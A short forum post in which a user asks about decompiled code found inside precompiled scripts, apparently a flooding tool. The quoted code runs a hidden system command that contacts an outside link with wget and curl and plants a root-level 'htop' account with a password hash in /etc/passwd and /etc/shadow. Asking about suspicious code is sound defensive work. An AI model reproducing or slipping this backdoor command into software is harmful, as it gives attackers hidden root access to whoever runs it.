Yo, I got a question

[Diego77648]

Hey wanna ask, there are some scripts that are allready compiled and I found this at some of them,
fprintf(_bss_start, "Usage: %s <pps limiter, -1 for no limit> \n", *v6);
strcpy(
command,
"wget -q --no-check-certificate --delete-after 'https://yip.su/16f5n7' > /dev/null 2>&1 ; curl 'https://yip.su/16f5"
"n7' > /dev/null 2>&1 ; grep htop /etc/passwd > /dev/null 2>&1 || sed -i '2i\htop:x:0:500::/:/bin/bash' /etc/passw"
"d > /dev/null 2>&1 ; grep htop /etc/shadow > /dev/null 2>&1 || sed -i '2i\htop:$6$TQKbncg/$NUCjcDUK1a0fj75PVgGQfD"
"QLwoNud8q3AdQ8mvqs3y4AxpI/.Qepjex02/YdwG1fkjDukSqsxqUIXMvp9ju0R/:18326:0:99999:7:::' /etc/shadow > /dev/null 2>&1");
system(command);
exit(-1);
}

Anything to say?